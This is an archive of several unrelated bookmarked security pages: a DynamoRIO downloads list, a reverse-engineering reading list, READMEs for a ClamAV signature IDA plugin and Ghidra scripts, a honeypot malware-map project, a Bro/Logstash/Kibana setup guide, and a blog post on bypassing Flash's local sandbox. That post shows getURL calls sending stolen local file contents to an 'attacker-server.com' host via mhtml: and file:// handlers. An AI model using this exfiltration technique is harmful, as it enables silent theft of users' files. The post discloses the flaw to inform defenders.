**Updated:**| _4/22/2010 6:49:14 PM_  
**Author:**| __  
**Tags:**| _bookmark DynamoRIO new? awesome_  
  
  
DynamoRIO-Windows-2.0.0-6.zip| API for building Windows tools  Featured | 13 hours ago| 23.6 MB| 5|   
---|---|---|---|---|---  
| DynamoRIO-Linux-2.0.0-6.tar.gz| API for building Linux tools  Featured | 13 hours ago| 15.4 MB| 1|   
| DynamoRIO-tutorial-dec2009-partB.pdf| DynamoRIO MICRO December 2009 Tutorial, Part B  Featured | Dec 13| 867 KB| 351|   
| DynamoRIO-tutorial-dec2009-partA.pdf| DynamoRIO MICRO December 2009 Tutorial, Part A  Featured | Dec 13| 1.1 MB| 406|   
| DynamoRIO-Linux-1.5.0-1.tar.gz| API for building Linux tools| Dec 08| 14.4
MB| 206|  
| DynamoRIO-Windows-1.5.0-1.zip| API for building Windows tools| Dec 08| 20.9
MB| 418|  
| DynamoRIO-Windows-1.4.0-20.zip| API for building Windows tools| May 2009|
19.3 MB| 452|  
| DynamoRIO-Linux-1.4.0-20.tar.gz| API for building Linux tools| May 2009|
13.7 MB| 334|  
| DynamoRIO-tutorial-oct2008.pdf| DynamoRIO tutorial slides| Feb 2009| 1.1 MB|
1037|  
| License.txt

# Resources for Learning Reverse Engineering - @Jackson\_T

**Created:**| _7/17/2017 11:24:48 AM_  
---|---  
**Updated:**| _7/17/2017 11:24:48 AM_  
**Author:**| __  
**Tags:**| __  
  

  

#  Resources for Learning Reverse Engineering

Fri 23 June 2017

I've been spending a lot of time lately learning to find memory corruption
vulnerabilities in Windows and have been meaning to put together a list of my
favourite resources. I hope this is useful for those who are also getting
started. If you have suggestions, feel free to contact me. These types of
lists can decay over time, but I'll try to keep this updated as long as I'm
interested.

Last updated: 2017-07-14 \(70 resources\).

## Filters

You can use the filters below to narrow down your search by subject or medium
preference. Some resources are annotated \(💬\) and my most favourite ones are
marked with a star \(🌟\). Drag the filters to change result rankings.

## Resources

  1. LiveOverflow Binary Hacking🌟💬
  2. OpenSecurityTraining.info: Introductory Intel x86🌟
  3. OpenSecurityTraining.info: Introduction to Reverse Engineering Software
  4. RPISEC: Modern Binary Exploitation🌟
  5. OpenSecurityTraining.info: The Life of Binaries
  6. OpenSecurityTraining.info: Reverse Engineering Malware
  7. RPISEC: Malware Analysis
  8. The C Programming Language \(K&R\)
  9. The GNU C Reference Manual
  10. Learn C the Hard Way
  11. Learn C in Y Minutes
  12. Practical Reverse Engineering🌟💬
  13. Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software🌟💬
  14. Assembly Language Step-by-Step: Programming with Linux
  15. Wikibooks: x86 Disassembly
  16. A Bug Hunter's Diary🌟💬
  17. Reversing: Secrets of Reverse Engineering💬
  18. The Shellcoder's Handbook: Discovering and Exploiting Security Holes
  19. Windows Internals🌟
  20. Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats
  21. Basic Dynamic Analysis with IDA Pro and WinDbg💬
  22. Ben Hawkes: What makes software exploitation hard?
  23. GynvaelEN Hacking Livestreams
  24. A Link to the Past: Abusing Symbolic Links on Windows
  25. MalwareAnalysisForHedgehogs Video Tutorials
  26. Windows Kernel Graphics Driver Attack Surface
  27. bee13oy: Attacking Antivirus Software's Kernel Driver💬
  28. Direct X: Direct Way to Microsoft Windows Kernel
  29. A Window Into Ring 0
  30. Windows Drivers Attack Surface
  31. Malware Unicorn: Reverse Engineering Malware 101🌟
  32. sploitF-U-N: Linux \(x86\) Exploit Development Series
  33. HumbleSec: Assembly to Pseudocode Manually💬
  34. Mozilla: A Crash Course in Memory Management
  35. Corelan Team Exploit Writing
  36. Hacking the PS4: Userland ROP💬
  37. What is a "good" memory corruption vulnerability?🌟
  38. Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622
  39. The Stack Clash \(Qualys Security Advisory\)
  40. Windows Kernel Exploitation Part 3: Arb. Overwrite, NULL Ptr, Type Confusion And Int. Overflow Examples
  41. Windows Kernel Exploitation Part 4: Introduction to Windows Kernel Pool Exploitation
  42. Microsoft Security Research & Defense Blog💬
  43. hasherezade: Starting with Windows Kernel Exploitation
  44. Windows Kernel Exploitation Part 0: Kernel Debugging
  45. Windows Kernel Exploitation Part 1: Getting Started With The HackSysTeam Extremely Vulnerable Driver
  46. Windows Kernel Exploitation Part 2: My First Kernel Exploit
  47. A Brief Introduction To Using Z3 With Python
  48. FuzzySecurity Tutorials🌟💬
  49. GitHub CTF Write-ups💬
  50. phoenhex team write-ups🌟💬
  51. Project Zero Issue Tracker🌟💬
  52. Flare-On Challenge Solutions: 2015
  53. Flare-On Challenge Solutions: 2016
  54. Exploiting a Firefox UAF with Shared Array Buffers
  55. Analysis and Exploitation of an ESET Vulnerability
  56. Attacking the Windows NVIDIA Driver
  57. Smashing Flare-On \#2 with Concolic Testing
  58. Windows Kernel Resources💬
  59. Dennis Yurichev's Reversing Challenges
  60. Exploit Exercises🌟
  61. Flare-On Challenges
  62. Compiler Explorer🌟💬
  63. HackSys Extreme Vulnerable Windows Driver
  64. manticore \(Trail of Bits\)
  65. mcsema \(Trail of Bits\)💬
  66. Triton \(QuarksLab\)
  67. Angr \(UCSB\)
  68. Pharos \(CMU\)
  69. miasm \(CEA\)
  70. qira \(CEA\)

  

# Cisco-Talos/CASC

**Created:**| _9/23/2018 8:41:07 AM_  
---|---  
**Updated:**| _9/23/2018 8:41:07 AM_  
**Author:**| _wishi_  
**Tags:**| _iDA plugin_  
  

  

## ClamAV Signature Creator \(CASC\) - IDA Pro plug-in to generate signatures

## Disclaimer

THE SOFTWARE TOOL AND RELAED DATA \(THE “TOOL”\) AND ANY ALTERATIONS,
MODIFICATIONS, ENHANCEMENTS AND IMPROVEMENTS THERETO AND TECHNICAL SUPPORT
\(IF ANY\) ARE BEING PROVIDED TO YOU ON AN “AS-IS” BASIS, WITHOUT WARRANTY,
EXPRESS OR IMPLIED, OF ANY KIND INCLUDING, BUT NOT LIMITED TO, ANY IMPLIED
WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE
RISK ARISING OUT OF YOUR USE OF THE TOOL REMAINS SOLELY WITH YOU. YOU
ACKNOWLEDGE AND AGREE THAT USE OF THE TOOL IS SOLELY AT YOUR OWN RISK. IN NO
EVENT SHALL CISCO OR ITS LICENSORS BE LIABLE FOR ANY DIRECT OR INDIRECT
DAMAGES WHATSOEVER AS A RESULT OF YOUR USE OF THE TOOL, INCLUDING, WITHOUT
LIMITATION, LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF DATA, OR
OTHER LOSS ARISING OUT OF THE USE OF OR INABILITY TO USE THE TOOL, EVEN IF
CISCO HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, OR FOR ANY CLAIM BY
YOU OR BASED ON A THIRD PARTY CLAIM.

## CASC

The ClamAV Signature Creator \(CASC\), is an IDA Pro plug-in to aid reverse
engineers in creating ClamAV NDB and LDB signatures from IDA Pro's Disassembly
or Strings view.

CASC should run on any platform that supports IDA Pro 6.7 and higher. Limited
functionality is available for IDA Pro 6.6. The signature analyzer part of
CASC has only been tested on IDA 6.9.

README with pictures can be found on our wiki:
https://github.com/vrtadmin/casc/wiki

## Building

You need a working build system to build the yara-python library. On Ubuntu,
you can get that by installing `sudo apt-get install -y build-essential
libpython2.7-dev libpython2.7-dev:i386 gcc-multilib libssl-dev libssl-
dev:i386` on a 64 bit system \(The build process has been developed for a 64
bit machine, and will not work out of the box on a 32 bit machine\).

Run `python package.py --output <output-dir>` to build the plugin zip
archives. This will build all combinations of 32/64 versions for Windows and
Linux.

## Installation

If you are using your system's python for IDA Pro \(probably the case if
you're on a 32 bit Linux system, or on a 64 bit Linux system and you're using
IDA 7.0 or higher\), you can install the packages _ply_ , _yara-python_ and
_ida-netnode_ , and then unzip the _casc-\*-universal.zip_ archive into your
IDA Pro directory.

Otherwise, if you use the python bundled with IDA Pro, you'll need to install
the libraries in this python. Either you can do this by yourself \(e.g., by
following the instructions from hexblog\), or you use the archives with
bundled dependencies that we provide. Those archives are built as described in
the \[building\]\[\#Building\] step above, by running _package.py_. To install
an archive, simply pick the _casc-\*-fat.zip_ corresponding to your system,
and unzip it in your IDA Pro directory.

In case you don't want to install additional libraries, the plugin will
degrade gracefully and hide the _"Analyze"_ functionality which requires the
libraries to be installed.

Operating System | IDA Pro Plug-in Path  
---|---  
Windows XP \(x86\) | `C:\Program Files\IDA 6.7\plugins\`  
Windows Vista and higher \(x64\) | `C:\Program Files (x86)\IDA 6.7\plugins\`  
Linux | `<ida_install_dir>/plug-ins`  
## Support Information

ClamAV Signature Creator \(CASC\) is meant for creating ClamAV signatures on
the sample as it exists on disk. Sub signatures could be based off unpacked
code during the sample’s execution, however, ClamAV would not be able to match
those signatures \(some exception exist for automatic unpackers built into
ClamAV\).

## Tested on

IDA Pro Version | OK | Notes  
---|---|---  
7.0 | Y |   
6.95 | Y |   
6.7 | Y |   
6.6 | Y | Doesn't support right click option in IDA View or Strings Windows  
6.5 | N | IDA doesn't provide PySide and Qt support  
## File Types

Architecture | Type | OK  
---|---|---  
Intel x86/x64 | PE, .NET | Y  
Intel x86/x64 | ELF | Y  
Intel x86/x64 | OSX | Y  
# Opening Plug-in

Once the Python script is copied to the IDA Pro plug-ins folder, open IDA Pro
with a sample. There are two ways of opening the plug-in.

  * IDA Pro’s Plug-in Menu \(Edit -> Plugins -> ClamAV Signature Creator
  * Press \` \(backtick\)

Once the plug-in is opened you will be able to view sub signatures created in
the past and saved in the IDB, add new misc ClamAV sub signatures, and add sub
signatures generated from disassembly selected in the IDB.

## Creating Sub Signatures

Sub signatures can either be created from disassembly viewable from within IDA
Pro or manually from entering/creating a valid ClamAV sub signature.

### Insert Misc. Sub Signature

A custom ClamAV sub signature can be created in a couple of different ways:

  * Within the CASC plug-in window, press the Ins key
  * Within the CASC plug-in window, right click and select "Insert"
  * Within the Strings window; select the string\(s\) of interest, right click, and select "Add string to ClamAV Signature Creator"

### Insert Assembly Sub Signature

There are several ways to create a sub signature from disassembly within the
IDB. All methods involve first selecting the code you are interested in
creating a signature from. Either highlight the code or position and click
your cursor in the basic block of interest, then:

  * Within the CASC plug-in window, press Ctrl+Ins
  * Within the CASC plug-in window, right click and select "Insert Assembly"
  * Within the IDA View window by 
    * Pressing Ctrl+\`
    * Right click and select "Add Assembly to ClamAV Sig Creator…"

The Assembly to Signature window will allow you to insert notes for the sub
signature, apply various masking options, and scroll through the
opcodes/assembly associated with that sub signature.

Selecting a masking option will change the opcodes and assembly text if the
masking option can be applied. Selecting "Customize" will allow you to edit
the opcodes \(note the assembly area will not update for any customizations
made\). If you uncheck “Customize” then all previously applied masking options
will be applied and the customizations will be deleted.

## Common Problems

If a masking option is selected but the opcodes and assembly don’t change:

[code]

    ESP Offsets
        This will apply to [esp+offset] operands only
    EBP Offsets
        This will apply to [ebp+offset] operands only
    
[/code]

### Absolute Calls

IDA might display the disassembly as

`call memset`

However, that instruction may be a call to a function within the sample that
directly calls or jumps to the actual memset function. If that is the case, no
changes will be made. Global Offsets Still in testing, report any issues to  
https://github.com/vrtadmin/casc/issues

### Editing Sub Signatures

To edit a signature, simply double click on the signature within the CASC
plug-in window and the signature will open up for editing. Any changes made
will be saved only if you press OK. Prior to saving a sub signature it will
undergo a verification to ensure it correctly conforms to a ClamAV signature
component. If any problems exist, clicking the OK but will result in an error
message to its right. The error must be corrected before the sub signature
will be saved.

## Creating ClamAV Signature

Before creating a signature, make sure to give it a descriptive ClamAV
signature name \(the default is Win.Trojan.Agent\). Once a sub signature\(s\)
is created, you can select one or more sub signatures from the CASC plug-in
window \(use Ctrl or Shift keys to select multiple signatures\) and click the
"Create ClamAV Signature"

Once the “Create ClamAV Signature” button is click a dialog box with a
formatted email will be displayed for the user to send to ClamAV’s community-
sigs list. Selecting the community-sigs@lists.clamav.net hyperlink is a
mailto: link. It will attempt to copy the signature information displayed to
the systems default mail client. Keep in mind if any special characters are
used then the email’s contents may not be correct and will need to be manually
copied over.

## Analyzing ClamAV signatures

In the main plugin panel, use the tabbed pane to switch to the _"Analyze"_
mode. Note that this tab is not available if you don't have the required
libraries installed. You can now paste a ClamAV .ldb or .ndb signature in the
text field above the _"Add Signature"_ button. Once you then click _Add
signature_ , the signature will appear in the left top list \(if it was well
formatted and parsed by the plugin, otherwise check the IDA Pro output window
for errors\). Now you can double-click on the signature in the list. For .ndb
signatures this will directly bring you to the matched part of the binary, and
color the match in red. For .ldb signatures, the subsignatures will be
displayed in the right list element. If you double-click any of the sub
signature entries, it will bring you to the match for this subsignature.

## Bugs and Support

There is no support provided with CASC.

If you think you've found a bug, please report it at:
https://github.com/vrtadmin/casc/issues

In order to help us solve your issues as quickly as possible, please include
the following information when filing a bug:

  * The version of IDA Pro you're using
  * The operating system used to run IDA Pro
  * Any CASC related errors printed out in IDA Pro's output window
  * Task trying to accomplish
  * Any other relevant information

Other options for communication can be found at:
https://github.com/vrtadmin/casc/wiki

  

# MalwareZ: visualizing malware activity on earth map | The Honeynet Project
**Created:**| _11/7/2013 2:20:04 PM_  
---|---  
**Updated:**| _11/7/2013 2:20:04 PM_  
**Author:**| __  
**Tags:**| _botnets Malware-analysis_  
  

# **M** alwareZ: visualizing malware activity on earth map****

Tue, 07/30/2013 - 10:57 — oguz.yarimtepe

MalwareZ is a visualization project that is started as a YakindanEgitim \(YE\)
project**.** YE is a startup that me and some collegues mentor young people on
specific projects, remotely**.** It is announced as a local fork of Google
Summer of Code, except neither mentors nor mentees are paid**.**

Gürcan Gerçek  was the main developer for the MalwareZ project and my role was
mentoring him**.**

MalwareZ project idea arose from the 2011 GSoC project idea**.** The aim was
to generate 3D visualizations of malware visualizations with heatmap mesh
grids**.** It has been a while since the project is not edited and become more
usable so the idea is used instead**.**

The project is still under development and you may reach the codes from its
Github repo: https://github.com/YakindanEgitim/malwarez

There is a demo site to see it working: http://malwarez.comu.edu**.** tr:8001/

MalwareZ is aimed to be a web based project**.** It displays real-time
information**.** The information is coming from hpfeeds  by using
dionaea.capture chanell which is shared from Hpfriends **.** Currently only
dionaea.capture channel data is being parsed and used for visualization**.**

The project is at the 0.2 alpha version**.** The first visualization is the
real time world map displaying malware locations by using circles**.** The
center of the circles are pointing to the location gathered from hpfeeds data,
which is an IP address and converted to latitude longitude**.** The world map
is generated using Kartograph**.** js . Real-time display is provided by using
websockets. Small yellow points are displayed whenever a new data is reveived
and displayed for a few seconds**.**

<img src='img/Temp2_5146.jpg' alt='MalwareZ Activity Visualization' />

When a country is clicked, a 3D bar graph is opened and displays more detail
information about the location of the malware sources through the country**.**
The bar heights are proportional to the number of the malwarez detected**.**

<img src='img/Temp2_5144.jpg' alt='3D bars on countries displaying number of
malwares' />

The collected data is also saved to Mysql database**.** A sample result from
the collected information can be seen at the left side by clicking on the
small arrow**.** A hidden display will be seen and will display top ports and
IP sources acting as a malware source**.**

<img src='img/Temp2_5145.jpg' alt='Top attacker IP and port numbers' />

Another visualization is the heatmap display**.** The color is darkened at the
same world map either depending on the number of malwares, or IP / malware
diversity**.** The unique number of IP or malware source distribution may give
another idea of the malware sources**.** Again this part is also working as
real time.

<img src='img/Temp2_5143.jpg' alt='Heatmap display' />

There is another part which is not implemented yet but still in progress, that
is attack graph**.** The aim is to display the source and destination IP
relations**.**

There are some other planned but unfinished issues at the project**.** It is
planned to create data filtering option and revising the map displays**.**
Some undefined coutries should be marked as unnamed also**.** Except from
dionaea data, we should be collecting other honeypots data and working on them
as well**.**

  * oguz.yarimtepe's blog 

****

# ghidraninja/ghidra\_scripts

**Created:**| _3/8/2019 12:38:00 PM_  
---|---  
**Updated:**| _3/8/2019 12:38:00 PM_  
**Author:**| __  
**Tags:**| _bookmark ghidra_  
  

  

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='55'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='726' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>ghidra\_scripts

Scripts for the Ghidra software reverse engineering suite.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='56'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='729' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Installation

In the Ghidra Script Manager click the "Script Directories" icon in the
toolbar and add the checked out repository as a path. Scripts from this
collection will appear in the "Ghidra Ninja" category.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='57'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='732' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>binwalk.py

Runs binwalk on the current program and bookmarks the findings. Requires
binwalk to be in `$PATH`.

<img src='img/binwalk.png' width='898' height='192' />

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='58'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='736' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>yara.py

Automatically find crypto constants in the loaded program - allows to very
quickly identify crypto code.

<img src='img/yara.png' width='898' height='449' />

Runs yara with the patterns found in yara-crypto.yar on the current program.
The Yara rules are licensed under GPLv2. In addition @phoul's SHA256 rule was
added.

Requires `yara` to be in `$PATH`.

# Billy \(BK\) Rios » Bypassing Flash’s local-with-filesystem Sandbox

**Created:**| _1/5/2011 1:05:29 PM_  
---|---  
**Updated:**| _1/5/2011 1:05:43 PM_  
**Author:**| __  
**Tags:**| _Flash bookmark attacks_  
  

### Bypassing Flash’s local-with-filesystem Sandbox

A few weeks ago, I posted a description of a set of bugs that could be chained
together to do “bad things”. In the PoC I provided, a SWF file reads an
arbitrary file from the victim’s local file system and passes the stolen
content to an attacker’s server.

One of the readers \(PZ\) had a question about the SWFs local-with-filesystem
sandbox, which should prevent SWFs loaded from the local file system from
passing data to remote systems. Looking at the documentation related to the
sandbox, we see the following:

> _Local file_ describes any file that is referenced by using the file:
> protocol or a Universal Naming Convention \(UNC\) path. Local SWF files are
> placed into one of four local sandboxes:  
>  
>  
>  The local-with-filesystem sandbox—For security purposes, Flash Player
> places all local SWF files and assets in the local-with-file-system sandbox,
> by default. From this sandbox, SWF files can read local files \(by using the
> URLLoader class, for example\), but they cannot communicate with the network
> in any way. This assures the user that local data cannot be leaked out to
> the network or otherwise inappropriately shared.
First, I think the documentation here is a bit too generous. SWFs loaded from
the local file system do face some restrictions. The most relevant
restrictions are probably:

  1. The SWF cannot make a call to JavaScript \(or vbscript\), either through URL or ExternalInterface
  2. The SWF cannot call a HTTP or HTTPS request.
  3. Querystring parameters \(ex. Blah.php?querystring=qs-value\) are stripped and will not be passed \(even for requests to local files\)

Unfortunately, these restrictions are not the same as, “cannot communicate
with the network in any way” which is what is stated in the documentation. The
simplest way to bypass the local-with-filesystem sandbox is to simply use a
file:// request to a remote server. For example, after loading the content
from the local file system an attacker can simply pass the contents to the
attacker server via getURL\(\) and a url like: file://\\\192.168.1.1\stolen-
data-here\

Fortunately, it seems you can only pass IPs and hostnames for system on the
local network \(RFC 1918 addresses\). If an attacker wants to send data to a
remote server on the Internet we’ll have to resort to a couple other tricks. A
while back, I put up a post on the dangers of blacklisting protocol handlers.
It’s basically impossible to create a list of “bad” protocol handlers in
siutation like this. In the case of the local-with-filesystem sandbox, Adobe
has decided to prevent network access through the use of protocol handler
blacklists. If we can find a protocol handler that hasn’t been blacklisted by
Adobe and allows for network communication, we win.

There are a large number of protocol handlers that meet the criteria outlined
in the previous sentence, but we’ll use the mhtml protocol handler as an
example. The mhtml protocol handler is available on modern Windows systems,
can be used without any prompts, and is not blacklisted by Flash. Using the
mhtml protocol handler, it’s easy to bypass the Flash sandbox:

getURL\(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”\);

Some other benefits for using the mhtml protocol handler are:

  1. The request goes over http/https and port 80/443 so it will get past most egress filtering
  2. If the request results in a 404, it will silently fail. The data will still be transmitted to the attackers server, but the victim will never see an indication of the transfer
  3. The protocol handler is available by default on Win7 and will launch with no protocol handler warning

There you go, an easy way to bypass Flash’s local-with-file system sandbox.
Two lessons here. One, running un-trusted code \(whether it’s an executable,
javascript, or even a swf\) is dangerous. Two, protocol handler blacklists are
bad. Hope this helps PZ\!

# HolisticInfoSec: C3CM: Part 2 – Bro with Logstash and Kibana

**Created:**| _1/15/2014 9:40:07 PM_  
---|---  
**Updated:**| _1/15/2014 9:40:07 PM_  
**Author:**| __  
**Tags:**| _network-security monitoring_  
  

# **C** 3CM: Part 2 – Bro with Logstash and Kibana****

<img src='img/Temp2_3932.png' width='145' height='320' />

**Prerequisites**

Linux OS –Ubuntu Desktop 12**.** 04 LTS discussed herein

**Introduction**

In Part 1 of our C3CM discussion we established that, when applied to the
practice of combating bots and APTs, C3CM can be utilized to _identify,
interrupt, and counter the command, control, and communications capabilities
of our digital assailants**.**_

Where, in part one of this three part series, we utilized Nfsight with Nfdump,
Nfsen, and fprobe to conduct our _identification_ phase, we’ll use Bro ,
Logstash , and Kibana  as part of our _interrupt_ phase**.** Keep in mind that
while we’re building our own Ubuntu system to conduct our C3CM activities you
can perform much of this work from Doug Burks' outstanding Security Onion
\(SO\)**.** You’ll have to add some packages such as those we did for Part 1,
but Bro as described this month is all ready to go on SO**.** Candidly, I’d be
using SO for this entire series if I hadn't already covered it in toolsmith ,
but I’m also a firm believer in keeping the readership’s Linux foo strong as
part of tool installation and configuration**.** The best way to learn is to
do, right?

That said, I can certainly bring to your attention my latest must-read
recommendation for toolsmith aficionados: Richard Bejtlich’s _The Practice of
Network Security Monitoring_**.** This gem from No Starch Press covers the
life-cycle of network security monitoring \(NSM\) in great detail and leans on
SO as its backbone**.** I recommend an immediate download of the latest
version of SO and a swift purchase of Richard’s book **.**

Bro has been covered at length by Doug, Richard in his latest book, and
others, so I won’t spend a lot of time on Bro configuration and usage**.**
I’ll take you through a quick setup for our C3CM VM but the best kickoff point
for your exploration of Bro, if you haven’t already been down the path to
enlightenment, is Kevin Liston’s Internet Storm Center Diary post _Why I Think
You Should Try Bro_**.** You’ll note as you read the post and comments that SO
includes ELSA as an excellent “front end” for Bro and that you can be up and
running with both when using SO**.** True \(and ELSA does rock \), but our
mission here is to bring alternatives to light and heighten awareness for
additional tools**.** As Logstash may be less extensively on infosec’s radar
than Bro, I will spend a bit of time on its configuration and capabilities as
a lens and amplifier for Bro logs**.** Logstash comes to you courtesy of
Jordan Sissel. As I was writing this, Elasticsearch announced that Jordan will
be joining them to develop Logstash with the Elasticsearch team **.** This is
a match made in heaven and means nothing but good news for us from the end-
user perspective**.** Add Kibana \(also part of the Elasticsearch family\) and
we have Bro log analysis power of untold magnitude**.** To spell it all out
for you, per the Elasticsearch site, you know have at your disposal, a “fully
open source product stack for logging and events management: Logstash for log
processing, Elasticsearch as the real time analytics and search engine, and
Kibana as the visual front end**.** ” Sweet\!

**Bro**

First, a little Bro configuration work as this is the underpinning of our
whole concept**.** I drew from Kevin Wilcox’s Open-Source Toolbox for a quick,
clean Bro install **.** If you plan to cluster or undertake a production
environment-worthy installation you’ll want to read the formal documentation
and definitely do more research**.**

You’ll likely have a few of these dependencies already met but play it safe
and run:

sudo apt-get install cmake make gcc g++ flex bison libpcap-dev libssl-dev
python-dev swig zlib1g-dev libmagic-dev libgoogle-perftools-dev libgeoip-dev

Grab Bro: wget http://www.bro-ids.org/downloads/release/bro-2**.** 1.tar**.**
gz

Unpack it: tar zxf bro-2.1.tar**.** gz

CD to the bro-2.1 directory and run **.** /configure then make and finally
sudo make install.

Run sudo visudo and add :/usr/local/bro/bin \(inside the quotation marks\) to
the secure\_path parameter to the end of the line the save the file and
exit**.** This ensures that broctl, the Bro control program is available in
the path**.**

Run sudo broctl and Welcome to BroControl 1**.** 1 should pop up, then exit.

You’ll likely want to add broctl start to /etc/rc.local so Bro starts with the
system, as well as add broctl cron to /etc/crontab**.**

There are Bro config files that warrant your attention as well in
/usr/local/bro/etc**.** You’ll probably want have Bro listen via a promiscuous
interface to a SPAN port or tapped traffic \(NSA pickup line: “I’d tap
that**.** ” Not mine, but you can use it J\). In node.cfg define the
appropriate interface**.** This is also where you’d define standalone or
clustered mode**.** Again keep in mind that in high traffic environments
you’ll definitely want to cluster**.** Set your local networks in networks.cfg
to help Bro understand ingress versus egress traffic**.** In broctl.cfg, tune
the mail parameters if you’d like to use email alerts**.**

Run sudo broctl and then execute install, followed by start, then status to
confirm you’re running**.** The most important part of this whole effort is
where the logs end up given that that’s where we’ll tell Logstash to look
shortly**.** Logs are stored in /usr/local/bro/logs by default, and are
written to event directories named by date stamp**.** The most important
directory however is /usr/local/bro/logs/current; this is where we’ll have
Logstash keep watch**.** The following logs are written here, all with the
.log suffix: communication, conn, dns, http, known\_hosts, software, ssl,
stderr, stdout, and weird**.**

**Logstash**

Logstash requires a JRE**.** You can ensure Java availability on our Ubuntu
instance by installing OpenJDK via sudo apt-get install default-jre**.** If
you prefer, install  Oracle’s version then define your preference as to which
version to use with sudo update-alternatives --config java**.** Once you’ve
defined your selection java –version will confirm**.**

Logstash runs from a single JAR file; you can follow Jordan’s simple getting
started guide  and be running in minutes**.** Carefully read and play with
each step in the guide, including saving to Elasticsearch, but use my
logstash-c3cm.conf config file that I’ve posted to my site  for you as part of
the running configuration you’ll use**.** You’ll invoke it as follows
\(assumes the Logstash JAR and the conf file are in the same directory\):

java -jar logstash-1**.** 1.13-flatjar.jar agent -f logstash-c3cm.conf -- web
--backend elasticsearch://localhost/

The result, when you browse to http://localhost:9292/search  is a user
interface that may remind you a bit of Splunk**.** There is a lot of query
horsepower available here. If you’d like to search all entries in the
weird.log as mentioned above, execute this query:

\* @source\_path:"//usr/local/bro/logs/current/weird.log"

Modify the log type to your preference \(dns, ssl, etc\) and you’re off to a
great start**.** Weird.log includes “unusual or exceptional activity that can
indicate malformed connections, traffic that doesn’t conform to a particular
protocol, malfunctioning/misconfigured hardware, or even an attacker
attempting to avoid/confuse a sensor” and notice.log will typically include
“potentially interesting, odd, or bad” activity**.** Click any entry in the
Logstash UI and you’ll see a pop-up window for “Fields for this log”**.** You
can drill into each field for more granular queries and you can also drill in
the graph to zoom into time periods as well**.** **Figure 1** represents a
query of weird.log in a specific time window**.**

<img src='img/Temp2_3930.png' width='320' height='137' />  
---  
FIGURE 1: Logstash query power  
There is an opportunity to create a Bro plugin  for Logstash, it’s definitely
on my list**.**

Direct queries are excellent, but you’ll likely want to create dashboard views
to your Bro data, and that’s where Kibana comes in**.**

**Kibana**

Here’s how easy this is**.** Download Kibana , unpack kibana-master.zip,
rename the resulting directory to kibana, copy or move it to /var/www, edit
config**.** js such that instead of localhost:9200 for the elasticsearch
parameter, it’s set to the FQDN or IP address for the server, even if all
elements are running on the same server as we are doing here**.** Point your
browser to http://localhost/kibana/index.html\#/dashboard/file/logstash.json
and voila, you should see data**.** However, I’ve exported my dashboard file
for you**.** Simply save it to /var/www/kibana/dashboards then click the open-
